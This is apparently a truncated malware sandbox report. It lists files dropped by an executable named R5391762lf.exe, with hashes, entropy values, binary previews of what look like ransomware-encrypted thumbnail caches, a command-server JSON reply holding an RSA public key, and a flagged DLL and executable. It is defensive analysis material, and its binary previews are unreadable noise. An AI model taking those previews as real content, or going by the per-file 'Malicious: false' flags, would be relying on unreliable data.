SHA-256:	24D8C7B2AB17AF6625D5A70CCCA3F98DEDAB4C6DCF084A1C0F65034BC11CD9F2
SHA-512:	EAC2EB8D4DDB151FF3FADD5E62E0A1DF064E4ED9F687F98941EA61C8D9B0249C923556EDEDBED15CE7B4BA27B1D0DF9391A357BEE13D26B7A8E9580DC3D2AFBC
Malicious:	false
Preview:	CMMM 'J..Q0>1;sU....t....a....j$.\...-....MH..P..\|#.T{.D.P.V.;k.w.S7.O+..f.>k.cY ..Q.y. ZiUP...o..q\|C.....s.0{F6.....I82....".jv...............'K.{.....2....D+..........4e....n......H.t.+N...V..>.7_R.F.!.i.v`R.2......]...8...7.R......N.<...*.K...lP.nJg..zhF'.?...>.^doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.257430520654838
Encrypted:	false
SSDEEP:	6:+rXOi9TTESgkCSSQrlfwYBn8WjYHqrTjDLZMVOdtXqHk7T3eWcii96Z:epTESirQrlfwsnRjYHKmgDXqOTuWciik
MD5:	84630110F30E001C0DCDA4A5878A7644
SHA1:	D7D5E19D95997DAEB3B5D9E1D9010A4319727D5E
SHA-256:	A27352AAFE33500719E32FFA338B1747665974B7A3ECA6421E33D8657AB9D365
SHA-512:	7BD425ECF4EFCE13D2D8C25816B569CC2D541925ACB9C55C47A5908B4DD6DF1C42ECEDBBC69330281DEB692D8A86682C0D85A773C82190AD5198DAA889EDFFB6
Malicious:	false
Preview:	CMMM .W1$....iIHq......4....u.i..p..[.D.v....T....B...U<.`.....L39C.....w..nc.<.....m.(..)s.@(..B ..G...3......../..@7\|./\....j..Z....O..'.......k..Zb.-...j..4...Gx{......?..Y.i......&..2.$.FA..o...._\|.......05.bX.pF.0.al.5Y(..wj.-p.n.}l.}...8.s-!..%].G.6....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277227240033563
Encrypted:	false
SSDEEP:	6:8yAEPS+Fsn8zgDlSmKRrf8BkkyqpX9TJDKHwpOtghe7R+tXqHk7T3eWcii96Z:8yAmS9nMrkBkD0Xvj/he1oXqOTuWciik
MD5:	133EA26B02CD005AEDE77EB50C9360B5
SHA1:	CB1E2DEC0E726BFCD648A7CA8092B5E109D60060
SHA-256:	FBE0C7DED797C71521AC0D0064379E8490620AC29095A5D47B049382854A33D8
SHA-512:	79DC21B9DA5DA2F11DA4B8B929AB72DADDACA79B70328533339B70D57B128C79B260B1CFFB5DE97247ECB9089C980444D011FE96E2FC1ED62820E40DA035309F
Malicious:	false
Preview:	CMMM V..W......C^:.V..j..0..2[K...t@....:.:hY.(...c.......Z.;...^.Q....J......`...a#).h..i..........A."b:.bhb..\|. bJ$..o:..).j..@.+Z:.'..D.P..?{d.E..I...@+...4Y..7.9.ly..{...?.....W.e./G...7.rkHrb"..\.+V]K.@Q.~uI.*p....s....`:.T3.c.C.oX.;..9b[.....R....Rl{.E...=jdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2763258880876585
Encrypted:	false
SSDEEP:	6:1gmdthznqEhK1G36d71FTG0vG5YDHG83bPWiRoGzc5BQVUCQ5dVMtXqHk7T3eWcq:Hb5KJdBjucHGvkhzcvAUnXeXqOTuWciD
MD5:	0A9D5CD4672B02E838C471EBDD1733C2
SHA1:	0567E050B1ECF6C163878E95E5E6554E65BC4B0B
SHA-256:	CA9DF4253B6B03B862D94CAD27AFA67153B9AC242707FB547D9E319D70E3B4BA
SHA-512:	CD31F8351F64268FC4ADBB8F0FB6E4F7DC349A6E6DC85845D102525EFD9AA4DF8FD4DFAAA721009EA4223933ED3127398FADC926454BC1586542662FC40BFD47
Malicious:	false
Preview:	CMMM .....?....RX.Q..x.I.T..:.}....5.&t..J.$...@.-....W.Q..D..#I3w........l.+..W_.%..)S...@5...{.....4&.p{.z.+.7..?i..o>...UX2.5.:..n..........+:.eX..z..a.M.....M.2j..^.........(......CNG......)....6.C..n..I..M.LC..T.....'\V<p..0]E&.\.-........b.j .O4Q.[.0q...&..W..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.312628855747852
Encrypted:	false
SSDEEP:	6:nv794Lovwi1FEnZL63QFs29SLpG4UNPIdBGRXcSloPrF601z8F9/GYwYUGv6lBcP:nj9Go9GZL22j4e0GRXgn1z8FrwYElBu5
MD5:	15941E0E915B81FAFF361C6064A31DF7
SHA1:	E25918C2FD6863A8FC10CD411E0B3D40371BD690
SHA-256:	6DF9EED0EA0EA517FE206AF573FA322F63731542E27396004E950D35AFF45881
SHA-512:	5EB0BA1930B9D088F6AEEBD902555AC3A42D76A00076757F59BFAD0E7AAB768A7435496CA0B885AC07A71B68F38B27E46F4636F40CBDF73C3F0B8E849A91A7BA
Malicious:	false
Preview:	CMMM .G..a.r....#..;Uq@.N.........M.e3W'\|A....e...HU.h.J!oU.w........_..C.I...a....../&.p.3?...wO!W...Ht.dV....w$.....O....L...]..yX.x....c.Vr......1..k{....].w.Ry. .+*...fjj....X..I._.P......M.b..i....k.....(.I........J...r.....P{.4d!...tv..:.....hj.6.P.ool;J$).doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768749407851887
Encrypted:	false
SSDEEP:	3072:KaWk4AhCEZwlxT0vgESH304QGCnJDXfOFeajY8jbxAtX6TpsTduXr:9q4CBT0oESX4xIs8joSsM7
MD5:	0D27B25583DA1F0FFF3326AEAA25383D
SHA1:	4158EB6B3541680FD8A1FEDA88D469A7E05D10C4
SHA-256:	DB9B661F514285D52F233A8995426329AFF306B5ABB2B0D3AE16E7D703387E1F
SHA-512:	118CB4B952A3BAF5CE0E81AB486355455580E656A9E49D6B90AB20A06C230735598FACEAC5CDF1F7C4517DF1E72F35414AAD296D1C89B6216C58A5D65FFA6EA6
Malicious:	false
Preview:	CMMM .x....r....!p.d.p.....w.%..[.....D...3... \Wr..a.t3.fB.v.i..G....!T...g.55[.....!.2..%....a'......n0.b>.....U.N.FD.u(ZaVp.D...9..k}sU.p]..R..]mA..\...%..7N....\|.-0..F...R.(jj.Ab.".&.....N5...1VJw..#.u....p.d.Ho5.El..Q.:......-a>...5.$"X.x........S)d.#m...c^].&.........8E.....g%`X..'.......9...Yb.K.w..c..xT....PC.#.(..V..Y.i:.G]._..Cm;.'..!.U...3..'.e...u:...p2M.N....U..........#[...z...n.V...2..L.Wh...i..A&\|....&.3..d..A...a.}.N.5KF.......?....dLw....3.....e(n....+...&I....).\|fT...9`..`...qO....Q.u..hX.u.Bq....6..=...8.)#.7..;.J.s.s9..Mw+.B.......%.f.`.g@.gq*,v..z..5...w.I.+V].._.}0I..F...,.P}..=n..4MA.@..himv......j....Mt...O..qx!w..Q...9..C.m,P.......;.'...P{6.y.X...g.@.M.................2&..t.Cc..n..{.'..hml...T.s.J..-..`;k.V_.t.kAv.P.@..$Q.'.zU....\...^..8E2.}1.. [..74...h'>....K.WNYn.Y../.6>B6.xv...I.....>.+...r....X.D.dZ.v.`2IY.....P...f..).XG..x,.R.....>....r..p..;..g.......<...=..._......s.....mN.P..U.......<...........4.....

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.269721061337379
Encrypted:	false
SSDEEP:	6:e3XgEnuSAnAwvk7h06cuJSezCe9nC1rUg5oAeXtZ3dtXqHk7T3eWcii96Z:engs6AB7hzcE9zCe9norfiXH3DXqOTuQ
MD5:	9C0E43FD9435E13F65E783FD807A002E
SHA1:	7152D8890A20F6B88DA8072F9268708E310D9F84
SHA-256:	4B725E9683887173B9440D070AE8B658DFC6134FF09DDA0156EE903AE75143DB
SHA-512:	7A83F459FA4356028146BA122F6AA09BE6D18B25ACA2325846B0B16F94A115C82CEB7DEBB2F1F768C4F5E575FA248E0CA8D51CEA68F6023270517D1E01B0F48C
Malicious:	false
Preview:	CMMM .J.c(.KO.a/.P..~.U...PA(K....2r.....Quw.?.}n......eZ"..._5.r....E .D.B.NB.xOq.X-.....5.....8.K...y.&.4.d0.=.`~.N]..cy...j3.f*.....}3..a...."......z....G<.I....ss....7h..=1.L.#bc&.o/...QY.\.......Nq."..7.l8....;N3..<....w.a.9.=...S<..\A...........A....qS8.qa..)_..Qdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.120345661746461
Encrypted:	false
SSDEEP:	49152:0a0gxiVfn1NVhgH9KyqPIr/3+qrYEIJxs7:d0gxiVfn1NVhgH9KyqPm3/rYEIJxs7
MD5:	E996B869BACFC8F2690ECB3012F2E66B
SHA1:	FD7948A511F49920129EFF17BEB771C8D0FBEF32
SHA-256:	45E7FFC006A90DC54ED45E894D2A00B27187D0B69994F6B44EB2B42AF5C855BE
SHA-512:	1E6EFB724144D121A558F16320AB0B3E735B1C62B477B21D3FE6F2C90C64C16D3D2248F8A6B172AC06D4B33EF1B74CA1E397C4A033AD35A655F8DB1265E37C21
Malicious:	false
Preview:	CMMM .^./...........t.........f..6......w>.EB...)=r...F...x.2.AEDz.l.."..:A.rd.y..h.Ns.~1.......3.B!..d8.../...._y..7s[7...Q....+ea.$...M...z..DX..C./......j..k...;..].e.r.<H.k.v...O.=..u..7...:..Ze.i.8O..U.c@...lM...p.7.2.)<.qi:.0.....n.....5;....].....3@........'.:a...$78#..3F2..My..>.&...y.;Q..\|#...\|5U......j.:..<a...l4H.@..W..X....J.....k...,.&.....q....5..u.J.{f.Z.J...........P..:.6R..G.E.f~.;...2T!k?...@..}..._..Z..Va.......P%.._9(;.h....&."....h..Y..!.\.+Q=.?#..=.R.p..D..G.w.x.?..&$.&..~...L............d.\Y.....J1..sn.$..@D.....Oy...w".k.[.'t....\|..<..'.Km?...6.V.k..ej.&.L..KhnL.g......q......i./p...w....M.J..o.....]a..../.n.6YZ2W.&..0A.;P.7..[...p@.X..qN.y.G.;.......q..!.......`Ge{.f.5.r...b..\|,.~0...._.R......,t.0..q..s#Z...$Li..p'.GB.........J(....kDV.B5...Y.._.&...$....n....8...g.m.e..!\(..u.sc.. qQ..q.;...........B.}.~.1.\|9.e..".+i..a.*..Z,W..DI..+......HdPi.M.@.y'.Z.G...5z\|..v.{.........}...S...I.>.sKE.V./N.hX.....7.e.)..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.205906394808336
Encrypted:	false
SSDEEP:	6:tiMCbB7A/nDta6eDFqkPBoMo8Rko6CgkWAApT+zppdAA1oORNO/R4pVtXqHk7T3n:c7AvDM3oMo8RH35BzfwkO/R67XqOTuWX
MD5:	309458C9C7BC6BEDFC1E196AA447B64F
SHA1:	9E56F7E878D52BB8FE8368DEA5AE7CDF7624EDBE
SHA-256:	62FA601D2B8E70A1FB6C14E69A91E92C55A9CFB47A65C392F99E29F7CBB5F3EE
SHA-512:	08006A62C67B2EDA36C5379158A6CEF55EDF88ACDD41A314A73C915855CEE1E84E5E3B9C5703486074CCB246F402998EF8F71729195A15C5AD65EF1EAC79AF73
Malicious:	false
Preview:	CMMM F.g...-..hM.>.Q....7....Ex......E....o.e+....%.............n.J#.S..<.K...3....A..6.]du.kX...6...@K.*..co#..#6-&.$%.A.P6Qi2XF..(\ .\4DO^..../.B\,...l..n+...)..h;...7P.$....i....$..w..lO...8..-.G}.8'~...bKt'...k4?"}........LQC.0.(..%.}....4.<...Hi.3...x..v ....a...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.31684610436329
Encrypted:	false
SSDEEP:	6:cThIXoXVM5yUwAPlEYnTFqBeoSTzz7NXYFxbRK0pPxL8tXqHk7T3eWcii96Z:CIYXVM5JNOYnxqHazVYFnJPxiXqOTuWX
MD5:	9A4294D9D1CC897468BFD615A5D37FAE
SHA1:	750082BDB5079CE38F3E27B641908F21E4B19B9B
SHA-256:	7D8F72FA1BC5AD1F4DFA0C4ECBB6C461194AABFD9F5A07EB6BD21B27441E15D0
SHA-512:	1D0053E3B77FE566B415D3250BC125DC9B3F70181CFF79BD37972E8D2F02D26B19A8655EC88A75BAA96D0FA68AD6B4C5140E6398F1A35176BDEF4C768DA3F335
Malicious:	false
Preview:	CMMM m..k..%VT.~.O.M<.....L..@>....Nz...~.*..x@h8$.$npS.....[.....[...M.m4.M.%...^2.r...(..'..^..cj.w...8....\.+.t.9pH....}..:.q.{7.-...\|'...N..{.y...H...N_=...M....r.)...8....&h...T..S.@.6....[..HR...o.b........./.Z9..[....^..../..}T.P..c.=?f.:...N...D.z.#.@j.... .M.R.$doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.212466494097713
Encrypted:	false
SSDEEP:	6:aU1aVK9rszsoMyzZTWbMew5Oic0r3p8aeRcTJfPFPqvQfFhSIlc2wKMtXqHk7T3n:t1awrsgkRWIew5Ox0r3SRcT9FPLMIdzQ
MD5:	E6D03B961AFD424FF90491DE57EFBA8A
SHA1:	BB6905286CC50B701371FA568EA48DF513523B10
SHA-256:	F69B65993CCB62F7214CB9105B3FA2B6CDFD191797EE4620C3580AE5E55A363D
SHA-512:	BA05FB02F67C2CEB1BAA5A21DC3AFA4C036CC2DD6E1655F8367A9C9D5CE670F2683F6CC685DCC8C2BC5FD8C603DC8234ED4852BBEA9874DE1C74B158DE5F3A03
Malicious:	false
Preview:	CMMM ..gfP.[T..ft..#..n.T..U...`_..#NI?..w..^$.<..b.Q.E.Pd..E_A..9>9.U:....Vd7...3{.@..b#~H....i$.-...N.fU..:..9...V.O.{\|.f..}.(/........X{.x.0D.F^...d....8./.{.e8..s...:r.. ..Gm.a.p...I..=...T../..!..=.....`.4.......{.:...N....zbR..(.K.g..Y.?I.g..A.^..~h..@i.o..GSe.b!..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.328116869457814
Encrypted:	false
SSDEEP:	6:klHmwEyKvuogzjh9Hjsa0OEvbZ6JPig8OcQIJloGMtXqHk7T3eWcii96Z:klQVGh9H5wbfzOcvEXqOTuWcii9a
MD5:	6CCC43D3133442B605588E032872D5AE
SHA1:	3D340AB9C66510FBF1AC3927A7F87A75A02AEC39
SHA-256:	B27B3397F9BB9371259A2B345851D9112401D5D2BC1317EF955EE48E9712A2C6
SHA-512:	D1A41B7B747BE3091013E9A686B5F62821506CC72C523D9FB18CE1E40AF45778B5E7707501433A9EC51E27B83EDC5A043B57958EEB033B6F61227FB16F25C11F
Malicious:	false
Preview:	CMMM ......"...&......5..g.b.^...Y.avN^c...Z....W..cW.-.En....K;.v..zp..A...`pu..`=E.%K.)5...+S!..-g.. m..?..]m..:2.l.k[.z....2..K.$..ma.K......p....`...s...~j...X..%o>..C......).,.T....b..Y}*..\|...?:..N[........,..s..F...=....nW.q...G.`H....2..ys....s..;?_..M.I...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.165458333697405
Encrypted:	false
SSDEEP:	6:tMdS4SgD4b+0/7pRXVSm98dr7B22+SrfIjRAi0crLMY1qItXqHk7T3eWcii96Z:tr41mVrrKdoyGlPM7KXqOTuWcii9a
MD5:	F35B0A0A516F1039513A09AAE28E469D
SHA1:	A0ED9510A2D9B5C88397FB3F7739D2D32FDB4F1C
SHA-256:	502A6A59FEF13B388BE446001F7FA3A79A94F8A895EC6E636B2B3607CC254686
SHA-512:	F017D4DF7E521C4517FAA2BB0674A24D7A2FACA4A4AFCDD38E163C58861C1B4D30EA3ABC87011E140CADF76EDA23FEDE7A932A09A3FEF743E5498F589B01A844
Malicious:	false
Preview:	CMMM nn.eN..A..<.-.k..C5.?..Z..V....iO.m..N..u .....c.9.gbv^..WA..A...%JH.W}....bh.y.I-,O..C/..tY6.......u.pXCx.Qt..5;.....6..X..B....d..D.*.[.....d$0&.T N...sG.0.Hx.\.q.A .......d. ..R.\|.[F..+.88.X..j.7.0'b../........9.R.<9.q.t}(..ebo...V.R/.)...~.!c....m'Q....Z.CSdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.995255870953631
Encrypted:	true
SSDEEP:	768:AIqV7saeK3i6RMuAGQj8Eihsaj7pVFemA5hs9jzEA3tsh:AhxsaD3i69AGLhsipZVjzXsh
MD5:	8FECFF8A132FF4F720D5F557B4B2EB61
SHA1:	863CBED6704A1FDB3DE1E8B1B779598C348D7C9E
SHA-256:	3DF0E26345DA55777218D3E7C682B042A141BC85D916E234D0D5D6E1D7AD7DB0
SHA-512:	C66AB01EFD4FD0A6812A71D28F2F1E1F1C735D151C926C183690BBB205EC5D6B6B3AA7424476E18292A7AC9918D4528AF7E6F482BA5F315CA3D88594EC7B3204
Malicious:	true
Preview:	<!DOC.....~.Aw\|.3)98.bY3X#.<..\|.5d..@..#...h....7...k....R..~.......b\|vt4.Pq.f..J..`.... .<..r.-..3."..[.B2.....F..U...gexE.\|...._Ilg.K..M.XS.L}.V].>.4..~".'.S'.".+..`t.....Q[2.M..9.{.8......2...8.u..g..........t..}.........Y.0.......,3.i.._..Q....../5......v.&MV..Sb.X.+..x'o..:...!.._..c..A.....1G..w.....O.+.........?.(ZJ.I54....KF...2.1&....?L.I.......I~.7k?..+(.....C....v..PT..."..c..J....%.. X....=..."...Mm..m.u.PZo.M........q&..........F....T8.es%P..=.m....E...v....W)B..Xn.#.%Q>..U.n..D..d.....y...c.....+...CU]......R...J.......".Z...l...].!...x..p.#......m....J..s.[$.{..8Q.F>o.....a.....D............R%..#>....cHL..J+v..KV......W....63.`.W...F..9...2.ve........?&0.o...FW...BA..3)>.Me.2..pN.T...#...U)6&.h5.N.....DF.r..?...G\|..S..*Ln.H(.A.w...."...oM0.......lb7f..h.G.w..F.W[Z.Gn.q.6k...T..r.q.......6((...0.. .8\.`}.-E..G..'..x.m.x8.......0..........r.r..z.4..~.y.6.L...x\0....4....-X.1.l......D..Fx....\|....!...<4.k.e.QXr.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Joe Sandbox View:	Filename: sIQywRNC5M.exe, Detection: malicious, Browse Filename: qJKiVKZdFk.exe, Detection: malicious, Browse Filename: Z4CYGTBlj7.exe, Detection: malicious, Browse Filename: SUwX12D2S6.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\get[1].htm

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	6.009293205549835
Encrypted:	false
SSDEEP:	12:YGJ68jHyhuMdH3v0oAvag4DzehYyPQWDiNqq55UXqOTo:YgJr0vp3zeGHWDiNqIeXq8o
MD5:	E4CEA961236C05C887D95CA1EBEFD928
SHA1:	86B5CC2C27A489840575C2BE8DC8E86F03E326A6
SHA-256:	70A79C80E0EA077DE8CE9B4BDD5894A013375EF641171E3707DE491D33E072BC
SHA-512:	80F4D0E32751DFF9B3A02C922FE5BAEC7B2CFA8275DC08FA405F9B68ABA300C7F93960044F06CE4A423E589737643D106F4B3C8F471465EF9955214146747CA1
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxIdlFrC5wdmcjHMI5HWQ\\nH1mwc3slXeUDJfHLv\/I7K9AI54eANiWQd2iqtoZwvLgW5YNxsojilwHLWFJf4xgO\\naVVvY06DaueHsIws38Te6TOgnVpOISSE9ZYxhRixIP07MBDghQkD5woyOR3f+uMA\\nDJYXwiQqwl+J1sCQejdepQWg9Z2b+thO7dXtib+uJ01FHEiKZO8w\/xSWjKb+Pp01\\n9P3EDUlZSXxAWPL6R0egfKvOarZ8+Z8WxabFzQAVeBd7wZtWWn0bkNOoG7Qj0vf\/\\nRu3mzEzlMyA3Ds1BWm3PVQsDuJWOB4sBFnLXqlVNXMEWYlqyumRFhfqequQTm6mr\\nHwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\get[2].htm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	6.009293205549835
Encrypted:	false
SSDEEP:	12:YGJ68jHyhuMdH3v0oAvag4DzehYyPQWDiNqq55UXqOTo:YgJr0vp3zeGHWDiNqIeXq8o
MD5:	E4CEA961236C05C887D95CA1EBEFD928
SHA1:	86B5CC2C27A489840575C2BE8DC8E86F03E326A6
SHA-256:	70A79C80E0EA077DE8CE9B4BDD5894A013375EF641171E3707DE491D33E072BC
SHA-512:	80F4D0E32751DFF9B3A02C922FE5BAEC7B2CFA8275DC08FA405F9B68ABA300C7F93960044F06CE4A423E589737643D106F4B3C8F471465EF9955214146747CA1
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxIdlFrC5wdmcjHMI5HWQ\\nH1mwc3slXeUDJfHLv\/I7K9AI54eANiWQd2iqtoZwvLgW5YNxsojilwHLWFJf4xgO\\naVVvY06DaueHsIws38Te6TOgnVpOISSE9ZYxhRixIP07MBDghQkD5woyOR3f+uMA\\nDJYXwiQqwl+J1sCQejdepQWg9Z2b+thO7dXtib+uJ01FHEiKZO8w\/xSWjKb+Pp01\\n9P3EDUlZSXxAWPL6R0egfKvOarZ8+Z8WxabFzQAVeBd7wZtWWn0bkNOoG7Qj0vf\/\\nRu3mzEzlMyA3Ds1BWm3PVQsDuJWOB4sBFnLXqlVNXMEWYlqyumRFhfqequQTm6mr\\nHwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: sIQywRNC5M.exe, Detection: malicious, Browse Filename: qJKiVKZdFk.exe, Detection: malicious, Browse Filename: Z4CYGTBlj7.exe, Detection: malicious, Browse Filename: SUwX12D2S6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: 8jvTeVxooN.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997192628633233
Encrypted:	true
SSDEEP:	1536:+I3ahE7UTZqttfmpfmFGjGCKH5aX5bZGz+xaCpIyoPY1/3:U+jfoSsJlGzkvToP+
MD5:	9F8847F761671EF0A979B374F7287809
SHA1:	B28ACEA052882C89800F8DE5A7F5149B422F64F2
SHA-256:	327603B50424C0C8BEE1F68216B9B61C0E275C40FCAB66316C4F18121610F62A
